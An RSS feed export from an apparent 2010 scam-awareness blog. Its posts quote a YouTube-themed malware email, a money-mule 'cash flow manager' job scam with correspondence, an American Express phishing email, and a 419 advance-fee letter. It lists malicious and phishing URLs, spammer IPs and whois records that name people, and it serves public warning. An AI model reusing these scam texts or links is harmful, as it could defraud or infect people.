<td colspan="2">The user Angelina Jolie suggests you to become friends on YouTube. Offers and acceptance of offers on friendship simplify tracing of that your friends place in the selected works, add or estimate, and also simplifies video departure by all or to the selected users. To accept or reject this invitation, pass in <a>INBOX</a></td>
</tr>
<tr>
<td colspan="2" align="center"><span style="color: #999999;">© 2010 YouTube, LLC<br />
901 Cherry Ave, San Bruno, CA 94066</span></td>
</tr>
</tbody>
</table>
<div><strong>Comments</strong></div>
<blockquote>
<div>The name varies &#8211; in this case it is Angelina Jolie.</div>
</blockquote>
<div><strong>Links in the Email (<span style="color: #ff0000;">Do not visit &#8211; Malware!</span>)</strong></div>
<blockquote>
<div><span style="text-decoration: underline;"><em>http://camaka.net/1.htm</em></span></div>
<div>It then redirects to:</div>
<div><span style="text-decoration: underline;"><em>http://awmmagazine.ru</em></span></div>
<div></div>
<div>Other Links:</div>
<div><em><span style="text-decoration: underline;">http://aomdesign101.com/d.htm</span></em></div>
</blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=519&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/06/youtube-malware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Person&#8217;s Consulting Group &#8211; Nigerian 419 Scams</title>
		<link>http://bescamaware.com/2010/06/persons-consulting-group-nigerian-419-scams/</link>
		<comments>http://bescamaware.com/2010/06/persons-consulting-group-nigerian-419-scams/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 18:24:33 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Nigerian 419 Scams]]></category>
		<category><![CDATA[capital-fc.com]]></category>
		<category><![CDATA[persconsgroup.com]]></category>
		<category><![CDATA[Person's Consulting Group]]></category>
		<category><![CDATA[Peter Moners]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[raymond.amerson@gmail.com]]></category>
		<category><![CDATA[raymondd.amerson@BonBon.net]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=476</guid>
		<description><![CDATA[After discussing with the scammer, I am certain that this is a Nigerian 419 Scam. He is offering a position in his 'Prestigious Financial Company' by the name of Person's Consulting Group (or Perscons Group sp??) which involves transferring large sums of cash between bank accounts and keeping a 5% commission for the trouble. Yeah right! He said the company is 8 years old, quite strange then that the website was create just a few days ago and that portions of the text is a complete copy of another website.]]></description>
			<content:encoded><![CDATA[<div>
<table style="border: 1px solid #ff3333; width: 600px; background-color: #ffe4e1;" width="600">
<tbody>
<tr bgcolor="#ff3333">
<td><strong><span style="color: #000000;">Why I believe this is a scam</span></strong></td>
</tr>
<tr>
<td>
<ul>
<li>Some of the information on their website (persconsgroup.com) is a complete copy of http://capital-fc.com</li>
<li>Website only created a few days ago – supposed to be an 8 year old company</li>
<li>Spelling mistakes and bad grammar – ‘if you interesting’</li>
<li>For an 8 year old company, it is strange that there is nothing about this company on the internet</li>
<li><span style="text-decoration: underline;">Different company names</span> &#8211; subject: Person&#8217;s Consulting Group. Web Address: http://persconsgroup.com</li>
<li><span style="text-decoration: underline;">Different contact names</span> &#8211; Sent by: Francisca Samuels, Email Signed by Peter Moners. Contact person: Raymond Amerson and Raymondd Amerson</li>
<li>Why would Prestigious Financial company use Western Union to transfer their money if it was legitimate?</li>
</ul>
</td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
</div>
<div><strong>Email Title</strong></div>
<div><strong> </strong></div>
<blockquote>
<div>Cash Flow Manager</div>
</blockquote>
<div><strong>Email Body</strong></div>
<div><strong> </strong></div>
<div><strong> </strong></div>
<div><strong> </strong></div>
<blockquote><p>Good Day!</p>
<p>An exciting opportunity to join a prestigious financial consulting company based in the US as a cash flow manager. Although relatively young, our company has already earned a solid reputation of honest and reliable corporation and this is a very exciting time to join this growing organization within a vibrant virtual office atmosphere.</p>
<p>Person&#8217;s Consulting Group provides leading edge solutions in financial and professional consulting to some of the most prominent financial companies in the US. With office in New York we offer to our clients the chance to increase professional and performance skills and to ensure an effective and flexible approach to enhancing knowledge. Our success is attributed to hard work and dedication, market awareness and an innovative approach that enables them to stay one step ahead of their competitors.</p>
<p>As a Cash flow manager you will be responsible for maintaining and developing the relationships of an established client base. Utilizing your excellent communication skills, you will be able to position and sell the complete range of company products and services and tailor them to best suit their needs and requirements. You will be in charge of receiving consultation fees, payments, donations or any other type of fund transfers to Person&#8217;s Consulting.</p>
<p>To excel in this role you should be able to demonstrate that you have strong communication skills and a professional manner, as you will be liaising with HR Managers to develop business company wide. The job is part time, you may work at home, the only requirement is some computer literacy and internet skills, you may work 3-4 hrs a day.</p>
<p>There has never been a better time to take that next step in your career. This is an exciting opportunity that is highly sought after so if you are keen to take on a challenge packed full of prospects then waste no more time and apply now!</p>
<p>Contact us at:  raymondd.amerson@BonBon.net</p>
<p>if you interesting.</p>
<p>We will not ask you banking data so you have no any risk.</p>
<p>Have a good day and you are welcomed to join our group.</p>
<p>Peter Moners</p>
<p>Chief manager of Person&#8217;s Consulting Group</p></blockquote>
<div><strong>Whois Details</strong></div>
<blockquote><p>Domain Name: PERSCONSGROUP.COM<br />
Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM<br />
Whois Server: whois.PublicDomainRegistry.com<br />
Referral URL: <a href="http://www.PublicDomainRegistry.com">http://www.PublicDomainRegistry.com</a><br />
Name Server: NS1.MEGAHOSTER.NAME<br />
Name Server: NS2.MEGAHOSTER.NAME<br />
Status: clientTransferProhibited<br />
Updated Date: 01-jun-2010<br />
Creation Date: 01-jun-2010<br />
Expiration Date: 01-jun-2011</p></blockquote>
<div><strong> </strong></div>
<div><strong>My Correspondence with the Scammer</strong></div>
<div><strong> </strong></div>
<div><strong> </strong></div>
<div><strong> </strong></div>
<div><strong> </strong></div>
<blockquote>
<div><strong>Email I sent:</strong></div>
<p><strong> </strong></p>
<p style="padding-left: 30px;">Hello,</p>
<p style="padding-left: 30px;">I am currently looking for work but I do not have financial experience.</p>
<p style="padding-left: 30px;">Can you please let me know if I am still suitable?</p>
<p style="padding-left: 30px;">Thanks</p>
<p><strong>Email I received:</strong><strong><br />
</strong></p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">Email Address:</span> raymond.amerson@gmail.com</p>
<p style="padding-left: 30px;">Good day,</p>
<p style="padding-left: 30px;">We are glad to inform you that you are the suitable candidate-employee</p>
<p style="padding-left: 30px;">for our company.</p>
<p style="padding-left: 30px;">We are happy to provide you additional information about vacancy</p>
<p style="padding-left: 30px;">Cash Flow Manager.</p>
<p style="padding-left: 30px;">Cash flow manager is an official representative of our company.</p>
<p style="padding-left: 30px;">Cash Flow manager&#8217;s duties consist from receiving payments</p>
<p style="padding-left: 30px;">from our partners and forwarding them to our</p>
<p style="padding-left: 30px;">clients. Our clients work with partners who works only with Canadian citizens.</p>
<p style="padding-left: 30px;">But our clients located not in Canada.</p>
<p style="padding-left: 30px;">You will receive money on your account by Interac Email Money Transfer</p>
<p style="padding-left: 30px;">from our partners and then send</p>
<p style="padding-left: 30px;">it by Western Union to our clients worldwide.</p>
<p style="padding-left: 30px;">You should just reply few questions:</p>
<p style="padding-left: 30px;">How many hours can you work weekly?</p>
<p style="padding-left: 30px;">What time available for work?</p>
<p style="padding-left: 30px;">And also we need your name, mobile phone number and e-mail which</p>
<p style="padding-left: 30px;">assigned with Interac EMT.</p>
<p style="padding-left: 30px;">You will start to work right after data above will be filled.</p>
<p style="padding-left: 30px;">You will take 5 percent of each transaction (transactions will be</p>
<p style="padding-left: 30px;">about 1000CAD first time) + receive salary of 1500CAD first month</p>
<p style="padding-left: 30px;">(trial period).</p>
<p style="padding-left: 30px;">Then we will sign contract with you and you will take 10 percent from each</p>
<p style="padding-left: 30px;">transaction + up to 2000CAD monthly (depends on your responsibility, quality</p>
<p style="padding-left: 30px;">and speed of work).</p>
<p style="padding-left: 30px;">You are welcomed to join our friendly and goal-oriented staff.</p>
<p style="padding-left: 30px;">You have made a right choice.</p>
<p style="padding-left: 30px;">We are waiting your reply.</p>
<p style="padding-left: 30px;">Yours faithfully,</p>
<p style="padding-left: 30px;">Raymond Amerson</p>
<p style="padding-left: 30px;">Regional Department</p>
<p style="padding-left: 30px;">Person&#8217;s Consulting Group</p>
<p style="padding-left: 30px;">http://persconsgroup.com</p>
<p><strong>Email I sent</strong></p>
<p><strong> </strong></p>
<p style="padding-left: 30px;">Thanks for the quick reply.</p>
<p style="padding-left: 30px;">I will send the information, but do you have a company email address?</p>
<p style="padding-left: 30px;"><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong>Email I received</strong></p>
<p style="padding-left: 30px;">Yes, write on <span style="text-decoration: underline;">info@persconsgroup.com</span> and register here <span style="text-decoration: underline;">http://persconsgroup.com/?p=reg</span></p>
<p><strong>Email I sent</strong></p>
<p style="padding-left: 30px;">Hello,</p>
<p style="padding-left: 30px;">Just a quick question, are you a new company as I cannot find much detail about your company.</p>
<p style="padding-left: 30px;">Thanks</p>
<p><strong>Email Received</strong></p>
<p style="padding-left: 30px;">No, our company is 8 years old.</p>
</blockquote>
<div>
<table>
<tr>
<td> </td>
</tr>
</table>
</div>
<div>
<table style="border: 1px solid #00b2ee; width: 600px; background-color: #e6e8fa;" width="600">
<tbody>
<tr bgcolor="#00b2ee">
<td><strong><span style="color: #000000;">What have I done?</span></strong></td>
</tr>
<tr>
<td>
<ul>
<li>Contacted the scammer and confirmed that it is a scam</li>
<li>Contacted MegaHosters.com and notified them that PersconsGroup.com that is hosted with them is a scam &#8211; not sure if they will do anything but here&#8217;s hoping! <img src='http://bescamaware.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ul>
</td>
</tr>
</tbody>
</table>
</div>
<div>&nbsp;</div>
<div>
<table style="border: 1px solid #66ff66; width: 600px; background-color: #ccffcc;" width="600">
<tbody>
<tr bgcolor="#66ff66">
<td><strong><span style="color: #000000;">Current Domain Status &#8211; 13th June, 2010</span></strong></td>
</tr>
<tr>
<td>Registration Service Provided By: IPIPE INC<br />
Contact: +1.2706378553</p>
<p>Domain Name: PERSCONSGROUP.COM</p>
<p>Registrant:<br />
Personal Consulting Group<br />
Peter Norwest        ()<br />
9 Carmine Street<br />
New York<br />
New York,10014<br />
US<br />
Tel. +1.7183957678</p>
<p>Creation Date: 01-Jun-2010<br />
Expiration Date: 01-Jun-2011</p>
<p>Domain servers in listed order:<br />
ns2.suspended-domain.com<br />
ns1.suspended-domain.com</p>
<p>Administrative Contact:<br />
Personal Consulting Group<br />
Peter Norwest        ()<br />
9 Carmine Street<br />
New York<br />
New York,10014<br />
US<br />
Tel. +1.7183957678</p>
<p>Technical Contact:<br />
Personal Consulting Group<br />
Peter Norwest        ()<br />
9 Carmine Street<br />
New York<br />
New York,10014<br />
US<br />
Tel. +1.7183957678</p>
<p>Billing Contact:<br />
Personal Consulting Group<br />
Peter Norwest        ()<br />
9 Carmine Street<br />
New York<br />
New York,10014<br />
US<br />
Tel. +1.7183957678</p>
<p>Status:SUSPENDED</p>
<p>Note: This Domain Name is Suspended.<br />
In this status the domain name is InActive and will not function.</td>
</tr>
</tbody>
</table>
</div>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=476&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/06/persons-consulting-group-nigerian-419-scams/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>American Express &#8211; Phishing</title>
		<link>http://bescamaware.com/2010/05/american-express-phishing/</link>
		<comments>http://bescamaware.com/2010/05/american-express-phishing/#comments</comments>
		<pubDate>Mon, 31 May 2010 17:20:58 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[American Express]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=454</guid>
		<description><![CDATA[An email pretending to be from American Express asking you to access their new 'American Express Online Form'. Obviously do not enter any details as it is a Phishing site.]]></description>
			<content:encoded><![CDATA[<p><strong>Email Title</strong></p>
<blockquote><p>American Express Online Form</p></blockquote>
<p><strong>Email Body</strong></p>
<blockquote><p>Dear American Express customer,</p></blockquote>
<blockquote><p>A newly revised American Express Online Form has been issued by the American Express Customer Care Team. Please complete this form as soon as possible You can access the form at:</p>
<p><span style="color: #000080;">American Express Online Form</span></p>
<p>Thank you for choosing American Express.</p>
<p>Sincerely,<br />
American Express</p></blockquote>
<p><strong>Links in the Email (</strong><span style="color: #ff0000;"><strong>Do not visit- Phishing Site</strong></span><strong>)</strong></p>
<blockquote><p><span style="text-decoration: underline;"><em>http://ohipowemir.freehostyou.com/buzyhi.html</em></span> (further links following this segment)</p>
<p>redirects to</p>
<p><span style="text-decoration: underline;"><em>http://www212.americanexpress.com.dll.kz/mydata/form/apisrv.php?session=357512222366960012355294883196460182463538832786548631977563797333777266724</em></span></p></blockquote>
<p><strong>Further Links</strong></p>
<p><strong><span style="font-weight: normal;"> </span></strong></p>
<p><strong> </strong></p>
<p><strong><span style="font-weight: normal;"> </span></strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong></p>
<blockquote>
<ul>
<li><em><span style="text-decoration: underline;"><span style="font-weight: normal;">http://guzDakiwypi.dreamstation.com/zyfenowa.html</span></span></em></li>
<li><span style="text-decoration: underline;"><em><span style="font-weight: normal;">http://www.212.americanexpress.com.idlls.ru/mydata/forms/apisrv.php?session=3D02828955=600287685613861760474911</span></em></span></li>
<li><span style="text-decoration: underline;"><em><span style="font-weight: normal;">http://agixeqov.easyfreehosting.com/ilaluloq.html</span></em></span></li>
<li><span style="font-weight: normal;">Any <span style="text-decoration: underline;"><em>http://</em></span></span><span style="text-decoration: underline;"><em><span style="font-weight: normal;">idlls.ru</span></em></span> <span style="font-weight: normal;">site</span></li>
</ul>
</blockquote>
<p></strong></p>
<p><strong>Screenshot</strong></p>
<p><strong> </strong></p>
<p style="text-align: center;"><strong><img class="aligncenter size-full wp-image-458" title="American Express - Phishing" src="http://bescamaware.com/wp-content/uploads/2010/05/American-Express1.jpg" alt="American Express - Phishing - Screenshot" width="438" height="490" /></strong></p>
<p style="text-align: left;"><strong>What do I do now?</strong></p>
<blockquote>
<p style="text-align: left;">Forward the email to <a href="mailto:UKspoof@americanexpress.com">UKspoof@americanexpress.com</a> and then delete it. Read what American Express says about online fraud here &#8211; <a href="http://www.americanexpress.com/uk/safeandsecure/faq_fraud.shtml">http://www.americanexpress.com/uk/safeandsecure/faq_fraud.shtml</a></p>
</blockquote>
<p style="text-align: left;"><strong>Website Details</strong></p>
<blockquote>
<p style="text-align: left;">
<div id="_mcePaste">Whois Server for the KZ top level domain name.</div>
<div id="_mcePaste">This server is maintained by KazNIC Organization, a ccTLD manager for Kazakhstan Republic.</div>
<div id="_mcePaste">Domain Name&#8230;&#8230;&#8230;&#8230;: dll.kz</div>
<div id="_mcePaste">Organization Using Domain Name</div>
<div id="_mcePaste">Name&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.: Oksana Bojko</div>
<div id="_mcePaste">Organization Name&#8230;&#8230;:</div>
<div id="_mcePaste">Street Address&#8230;&#8230;&#8230;: ul.Kolmogorova d.3A kv.109</div>
<div id="_mcePaste">City&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.: Ekaterinburg</div>
<div id="_mcePaste">State&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;: Sverdlovskaya oblast</div>
<div id="_mcePaste">Postal Code&#8230;&#8230;&#8230;&#8230;: 620034</div>
<div id="_mcePaste">Country&#8230;&#8230;&#8230;&#8230;&#8230;.: RU</div>
<div id="_mcePaste">Administrative Contact/Agent</div>
<div id="_mcePaste">NIC Handle&#8230;&#8230;&#8230;&#8230;.: DOMAINER</div>
<div id="_mcePaste">Name&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.: Alexander Kuznetsov</div>
<div id="_mcePaste">Phone Number&#8230;&#8230;&#8230;..: +7.9057788628</div>
<div id="_mcePaste">Fax Number&#8230;&#8230;&#8230;&#8230;.: +7.9057788628</div>
<div id="_mcePaste">Email Address&#8230;&#8230;&#8230;.: info@gname.net</div>
<div id="_mcePaste">Nameserver in listed order</div>
<div id="_mcePaste">Primary server&#8230;&#8230;&#8230;: ns1.growthiring.com</div>
<div id="_mcePaste">Primary ip address&#8230;..: 188.138.35.149</div>
<div id="_mcePaste">Secondary server&#8230;&#8230;.: ns1.froxyholl.com</div>
<div id="_mcePaste">Secondary ip address&#8230;: 188.138.35.149</div>
<div id="_mcePaste">Secondary server&#8230;&#8230;.: ns2.growthiring.com</div>
<div id="_mcePaste">Secondary ip address&#8230;: 88.113.177.94</div>
<div id="_mcePaste">Secondary server&#8230;&#8230;.: ns2.froxyholl.com</div>
<div id="_mcePaste">Secondary ip address&#8230;: 74.124.63.18</div>
<div id="_mcePaste">Domain created: 2010-05-12 15:06:08.0</div>
<div id="_mcePaste">Last modified : 2010-05-13 22:39:17.0</div>
<div id="_mcePaste">Domain status : ok &#8211; Normal state.</div>
<div id="_mcePaste">Registar created: SKILLTEX</div>
<div id="_mcePaste">Current Registar: SKILLTEX</div>
</blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=454&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/american-express-phishing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>William &#8211; Phishing</title>
		<link>http://bescamaware.com/2010/05/william-phishing/</link>
		<comments>http://bescamaware.com/2010/05/william-phishing/#comments</comments>
		<pubDate>Sun, 30 May 2010 13:07:03 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Hang Seng bank Limited]]></category>
		<category><![CDATA[jpwilliamcheung@yahoo.cn]]></category>
		<category><![CDATA[Mr. William Leung Wing Cheung]]></category>
		<category><![CDATA[www.hangseng.com]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=443</guid>
		<description><![CDATA[This email is obviously not the real 'Mr William LEUNG Wing Cheung BBS, JP' from the Hang Seng Bank board of Directors. Firstly the email address is a yahoo webmail address, and also the grammar is unbelievably bad! Whoever created this scam is quite dim as this is an old scam and he is using the same email address and other details in each email. No wonder he resorts to scamming as he doesn't have the brains to keep a real job.]]></description>
			<content:encoded><![CDATA[<p><strong>Email Title</strong></p>
<blockquote><p>PLEASE DO REPLY..</p></blockquote>
<p><strong>Email Body</strong></p>
<blockquote><p>Attn:-Friend.</p>
<p>Dear Partner,</p>
<p>I thank you for your positive reply to our e-mail. This transaction entails the immediate transfer of the sum of US$22.5Million from our bank to your nominated bank account. This amount was saved with us by a customer of our bank who is a citizen or had lived in your part of the world for years, who unfortunately died in the December 26th, Tsunami disaster in Asia Six Years ago. We have done everything legally possible to trace his next-of-kin all to no avail, and our bank will turn over this money to the Hong-Kong government or diverted secretly to the private coded accounts of some of our Executive directors. To avoid such a scenario, my partner and i have perfected every legal plans to have this money transferred into your bank account.</p>
<p>I must be quick to say here that though this transaction is a DEAL, but it is 100% legal, as our bank-Hang Seng bank Limited {www.hangseng.com} will formally approved this payment and our bank will gives the mandatory approval to our European correspondent bank in Europe based in Holland-Netherlands to pay you this money -US$22.5Million, as the next-of-kin of the fund depositor or his business associate.</p>
<p>Then, our European correspondent bank will either pay you this money US$22.5Million in cash through their affiliates Finance/Securities company, wire transfer the money to your bank account directly, issue their Certified bank cheque in your name and favour or open an online bank account for you, where you will effect the transfers yourself into any of your nominated bank account. You will be entitled to 30% for helping us to receive this money in your bank account and also helping/guiding us on when and where to invest the money in your country.</p>
<p>The depositor of this money is either a citizen of your country or had lived in your part of the world  for several years  before he died in the Asian Tsunami disaster of December 26th 2004.I decided to use the internet to trace his name and genealogy, but unfortunately i could not trace any living relations of the Fund depositor.So,i decided that we can work together, as i will introduce you to our bank as the family relation of the funds depositor or his business associate then our bank will pay this money to you quickly, and i will then resign and fly to meet with you in  your country or wherever you are and we shall make this business a success.</p>
<p>Surely, the Fund depositor  is dead and he died along with his wife and they had no child in the Asian tsunami disaster  of 26th December,2004 so nobody will ever come for this money as he had no WILL, and instead of our bank turning this money over to the Hong Kong government, or diverted into the private coded accounts of our Executive Directors in Switzerland’s and Cayman island for their personal use/pleasures i decided that we can do big business with this amount and our lives will be better. You will be entitled to 30% of this money, for providing us with a bank account where this money will be wire into and you will also help us to invest our share in your country or into any good and profitable ventures.</p>
<p>I was the Manager of accounts and the account officer of the funds depositor before he died, he gave me for keep some of the documents of this deposit with our bank, like the signed and sealed certificate of Funds deposit, before i was made a Director of the bank few years ago. Copies of these documents will be sent to you in due course for your perusal and record purposes ONLY.</p>
<p>I am deeply involved in the management of other companies and Humanitarian activities and also involved with a number of Government and industry committees and non-profit organisations in Hong Kong.</p>
<p>My first e-mail basically gave out initial information of who i am, so i want to know you a bit better, so send to me now the following:-</p>
<div id="_mcePaste">
<ol>
<li>Your full names</li>
<li>Your contact address</li>
<li>Your company&#8217;s or present employers name and address</li>
<li>Your company&#8217;s or present employers web page &#8230; www &#8230;&#8230;.</li>
<li>Your occupation</li>
<li>Your age.</li>
<li>Which area of business do you think is viable in your city / state / country, that we can invest all or part of our share of this deal into?</li>
<li>I am ready to send to you a copy of my South Korean  international passport and work{bank}I.D , just as a proof of who i am. But before i will send you these photo I.D&#8217;s ,i will require that you send to me an e-mail that you are totally committed to this business and you are ready to keep it a secret. You know Hong Kong is a part of China, which is still a communist country, we do not enjoy total freedom here, so do not do anything that will hurt me. That informed the reasons why i decided against giving out my contact telephone numbers, as they are all connected through our switch board, and ALL conversations are recorded. But you are FREE to send us faxes anytime,as the fax number is directly on my table.</li>
<li>Your marital status..Are you married? with children?</li>
<li>Do you have an international travelling passport?.Have you travelled outside your country before before?</li>
<li>We need a clear statement from you stating that you are totally commited to the successful completion of this business, that you will keep it secret/ confidential and that you will guide us properly on how and where to invest this money in your country for good returns.This letter should be typed and signed by you and addressed to me,then have this signed and typed letter faxed to us through fax number here in Hong-Kong Fax:-++ 00852-3006-1434 and also scanned and sent to us as an e-mail attachment to us through this e-mail address.</li>
<li>A brief introduction of your self/person ?</li>
</ol>
</div>
<p>I awaits these informations now and i will gladly gives you more details about this proposal and also attached copies of my photo I.d&#8217;s -A copy of my South Korean international passport and Work{Bank}I.D,and more details of  how we will make this business to be successful within the shortest possible time.As usual,please be aware that this transaction is HIGHLY CONFIDENTIAL,so keep it to yourself for my security and safety here in Hong-Kong-Peoples Republic of China.</p>
<p>Finally,please be informed that with your total co-operation this business will be successfully concluded within one to two weeks, all things being equal also we assure you that this transaction is 100%  safe and secured,but you are required to keep it HIGHLY CONFIDENTIAL. SO SEND US AN E-MAIL NOW ANSWERING THE ABOVE QUESTIONS/CONCERNS from 1-11.THIS IS VERY URGENT.</p>
<p>Thanks.</p>
<p>Mr William LEUNG Wing Cheung BBS, JP</p>
<p>Hang Seng Bank Limited {Hong -Kong}</p>
<p>83 Des Voeux Road Central</p>
<p>Hong Kong SAR</p>
<p>Web Page: &#8211; www.hangseng.com</p>
<p>TEL/FAX: &#8211; 00852-3006-1434</p>
<p>E-mail:-jpwilliamcheung@yahoo.cn</p></blockquote>
<p><strong>Address in the Email (<span style="color: #ff0000;">Do not email &#8211; Scammer!</span>)</strong></p>
<blockquote><p>jpwilliamcheung@yahoo.cn</p></blockquote>
<p><strong>What do I do now? </strong></p>
<blockquote><p>Delete it! Also, if you are using a web-based email client, there should be a <strong>Mark as Spam</strong> button, or something similar.</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=443&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/william-phishing/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>213.5.71.12 &#8211; Spammer</title>
		<link>http://bescamaware.com/2010/05/213-5-71-12/</link>
		<comments>http://bescamaware.com/2010/05/213-5-71-12/#comments</comments>
		<pubDate>Wed, 26 May 2010 11:09:16 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[213.5.71.12]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=430</guid>
		<description><![CDATA[Spammer IP: 213.5.71.12
Comments: I receive a lot of spam from this IP address - so I recommend blocking it completely!]]></description>
			<content:encoded><![CDATA[<p>Spammer IP:</p>
<blockquote><p>213.5.71.12</p></blockquote>
<p>Comments:</p>
<blockquote><p>I receive a lot of spam from this IP address &#8211; so I recommend blocking it completely!</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=430&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/213-5-71-12/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cialis generic purchase &#8211; Spammer</title>
		<link>http://bescamaware.com/2010/05/cialis-generic-purchase-spammer/</link>
		<comments>http://bescamaware.com/2010/05/cialis-generic-purchase-spammer/#comments</comments>
		<pubDate>Wed, 26 May 2010 08:24:12 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Spammer]]></category>
		<category><![CDATA[cialis generic purchase]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=426</guid>
		<description><![CDATA[Spammers Name: cialis generic purchase
Spammers Email: wwafgamark@gmail.com
Spammers IP: 67.231.250.96
]]></description>
			<content:encoded><![CDATA[<p><strong>Spammers Name</strong>:</p>
<blockquote><p>cialis generic purchase</p></blockquote>
<p><strong>Spammers Email</strong>:</p>
<blockquote><p>wwafgamark@gmail.com</p></blockquote>
<p><strong>Spammers Comments</strong>:</p>
<blockquote>
<div id="_mcePaste">I am the first time on this site and am really enthusiastic about and so many good articles. I think it&#8217;s just very good.</div>
<div id="_mcePaste">Always yours Mr. Cialis</div>
</blockquote>
<p><strong>Spammers URL:</strong></p>
<blockquote><p>http : // mycialisrx . com</p></blockquote>
<p><strong>Spammers IP:</strong></p>
<blockquote><p>67.231.250.96</p></blockquote>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=426&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/cialis-generic-purchase-spammer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yahoo Email Hacked</title>
		<link>http://bescamaware.com/2010/05/yahoo-email-hacked/</link>
		<comments>http://bescamaware.com/2010/05/yahoo-email-hacked/#comments</comments>
		<pubDate>Tue, 25 May 2010 10:00:49 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Email]]></category>
		<category><![CDATA[email hack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[webmail]]></category>
		<category><![CDATA[webmail hack]]></category>
		<category><![CDATA[yahoo]]></category>
		<category><![CDATA[yahoo hack]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=417</guid>
		<description><![CDATA[Anyone who has a Yahoo Mail account should change their password! My wife's account was just hacked - not sure how as she doesn't use it any more, but none-the-less it was.]]></description>
			<content:encoded><![CDATA[<p>I received the following strange email from my wife&#8217;s Yahoo email account:</p>
<blockquote><p><strong>Subject:  <span style="font-weight: normal;">No Subject</span></strong></p>
<p><strong>Email Body (<span style="color: #ff0000;">don&#8217;t visit!!</span>): <span style="font-weight: normal;">http://sites.google.com/site/zmyrkfbfsl/a6nj61ijrl</span></strong></p></blockquote>
<p>This is an obvious hack as the email was sent to all her Yahoo contacts &#8211; and also all her Sent Items were deleted. Quite scary I must say! So I obviously reset her password and changed her password hint questions.</p>
<p>I did a search on the Internet and found that this is not an isolated incident.</p>
<p>It&#8217;s getting quite scary how much personal information these web-based email clients like Yahoo Mail, Hotmail and Gmail contain. There is enough information contained in there to easily hijack someone identification. Just too scary!</p>
<p><strong>So I recommend that everyone change their Yahoo password.</strong></p>
<img src="http://bescamaware.com/?ak_action=api_record_view&id=417&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://bescamaware.com/2010/05/yahoo-email-hacked/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Ceffin C &amp; F &#8211; Nigerian 419 Scams</title>
		<link>http://bescamaware.com/2010/05/ceffin-c-f-nigerian-419-scams/</link>
		<comments>http://bescamaware.com/2010/05/ceffin-c-f-nigerian-419-scams/#comments</comments>
		<pubDate>Tue, 25 May 2010 07:57:36 +0000</pubDate>
		<dc:creator>Admin A</dc:creator>
				<category><![CDATA[Nigerian 419 Scams]]></category>
		<category><![CDATA[Ceffin C & F]]></category>
		<category><![CDATA[Ceffinc Cons & Fin]]></category>
		<category><![CDATA[Phishing]]></category>

		<guid isPermaLink="false">http://bescamaware.com/?p=412</guid>
		<description><![CDATA[An email 'apparently' from Ceffin C &#038; F stating that there is a new Financial Manager position in their company. All you need to do is to transfer money between accounts and you get to keep 5%. Sounds too good to be true - and no doubt it is. Firstly, there is no deadline for the applications - unheard of especially for a Financial Manager. Secondly, it's generic email address. How stupid do they think we are?]]></description>
			<content:encoded><![CDATA[<p><strong>Email Title</strong></p>
<blockquote><p>New vacancy</p></blockquote>
<p><strong>Email Body</strong></p>
<blockquote><p>Ceffin C &amp; F is one of the leading providers of consulting services in the world. Our success depends both on high quality of services and on professionally managed and reliable business processes.</p>
<p>This is the reason why quality is our main concern. However, the only way to reach top-notch quality in our business is permanent struggle for quality and engineering of stable procedures.</p>
